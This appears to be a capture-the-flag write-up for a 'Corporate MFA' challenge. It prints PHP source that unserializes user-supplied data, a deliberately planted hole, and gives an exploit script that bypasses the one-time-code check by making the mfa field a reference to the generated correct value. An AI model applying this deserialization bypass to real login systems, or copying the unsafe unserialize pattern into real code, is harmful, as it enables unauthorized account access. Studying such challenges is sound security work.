Corporate MFA
PHP object injection (deserialization vulnerability)

Problem

The source for this corporate zero-trust multi factor login portal has been leaked! Figure out how to defeat the super-secure one time code.
corpmfa.tar.gz
39KB
Binary

Source Code

index.php:
1
<?php
2
​
3
include 'class/User.php';
4
​
5
if (!empty($_POST))
6
{
7
// serialise POST data for easy logging
8
$loginAttempt = serialize((object)$_POST);
9
​
10
// log access
11
//Logger::log(Logger::SENSITIVE, 'Login attempt: ' . $loginAttempt);
12
​
13
// Hand over to federation login
14
// TODO currently just a mock up
15
// TODO encrypt information to avoid loos of confidentiality
16
header('Location: /?userdata=' . base64_encode($loginAttempt));
17
die();
18
}
19
​
20
if (!empty($_GET) && isset($_GET['userdata']))
21
{
22
// prepare notification data structure
23
$notification = new stdClass();
24
​
25
// check credentials & MFA
26
try
27
{
28
$user = new User(base64_decode($_GET['userdata']));
29
if ($user->verify())
30
{
31
$notification->type = 'success';
32
$notification->text = 'Congratulations, your flag is: ' . file_get_contents('/flag.txt');
33
}
34
else
35
{
36
throw new InvalidArgumentException('Invalid credentials or MFA token value');
37
}
38
}
39
catch (Exception $e)
40
{
41
$notification->type = 'danger';
42
$notification->text = $e->getMessage();
43
}
44
}
45
​
46
include 'template/home.html';
47
​
Copied!
User.php:
1
<?php
2
​
3
final class User
4
{
5
private $userData;
6
​
7
public function __construct($loginAttempt)
8
{
9
$this->userData = unserialize($loginAttempt);
10
if (!$this->userData)
11
throw new InvalidArgumentException('Unable to reconstruct user data');
12
}
13
​
14
private function verifyUsername()
15
{
16
return $this->userData->username === 'D0loresH4ze';
17
}
18
​
19
private function verifyPassword()
20
{
21
return password_verify($this->userData->password, '$2y$07$BCryptRequires22Chrcte/VlQH0piJtjXl.0t1XkA8pw9dMXTpOq');
22
}
23
​
24
private function verifyMFA()
25
{
26
$this->userData->_correctValue = random_int(1e10, 1e11 - 1);
27
return (int)$this->userData->mfa === $this->userData->_correctValue;
28
}
29
30
public function verify()
31
{
32
if (!$this->verifyUsername())
33
throw new InvalidArgumentException('Invalid username');
34
​
35
if (!$this->verifyPassword())
36
throw new InvalidArgumentException('Invalid password');
37
​
38
if (!$this->verifyMFA())
39
throw new InvalidArgumentException('Invalid MFA token value');
40
​
41
return true;
42
}
43
​
44
}
Copied!

Solution

From analysing the source code, we can gather the following information:
The trick here is to initialize the mfa attribute as a reference to the _correctValue attribute (using the ampersand operator &). This will allow us to bypass the MFA check, which checks mfa against a randomly-generated _correctValue:
1
private function verifyMFA()
2
{
3
$this->userData->_correctValue = random_int(1e10, 1e11 - 1);
4
return (int)$this->userData->mfa === $this->userData->_correctValue;
5
}
Copied!
The exploit script:
1
<?php
2
include "class/User.php";
3
​
4
$loginAttempt=new stdClass();
5
$loginAttempt->username = 'D0loresH4ze';
6
$loginAttempt->password = 'rasmuslerdorf';
7
$loginAttempt->_correctValue = NULL;
8
$loginAttempt->mfa = &$loginAttempt->_correctValue;
9
​
10
$userData = serialize($loginAttempt);
11
$encoded = base64_encode($userData);
12
var_dump($encoded);
13
​
14
$user = new User(base64_decode($encoded));
15
var_dump($user);
16
$user->verify();
17
?>
Copied!
Last modified 9mo ago